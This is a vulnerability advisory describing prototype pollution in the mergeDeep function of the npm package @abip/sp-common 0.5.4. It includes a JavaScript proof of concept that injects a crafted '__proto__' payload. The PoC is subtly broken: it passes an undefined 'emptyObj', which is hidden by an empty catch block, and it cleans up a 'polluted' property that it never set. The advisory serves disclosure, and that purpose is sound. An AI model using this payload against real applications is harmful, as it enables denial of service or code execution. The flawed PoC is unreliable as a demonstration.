Vulnerability type: Prototype Pollution

Vendor of the Package: Tada5hi

Affected Package:

• Product: @abip/sp-common
• Version: 0.5.4

Affected component(s):

mergeDeep

Attack vector(s): the attacker can modify built-in Object.prototype by calling the vulnerable function: mergeDeep with an argument containing a special property __proto__ to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

Description: Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: mergeDeep. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack

Proof-of-Concept:

(async () => {
  const lib = await import('@abip/sp-common');

  var victim = {}

  console.log("Before Attack: ", JSON.stringify(victim.__proto__));

  try {

  lib.mergeDeep (emptyObj, JSON.parse('{"__proto__":{"test":123}}'))

  } catch (e) { }

  console.log("After Attack: ", JSON.stringify(victim.__proto__));

  delete Object.prototype.polluted;

  })();
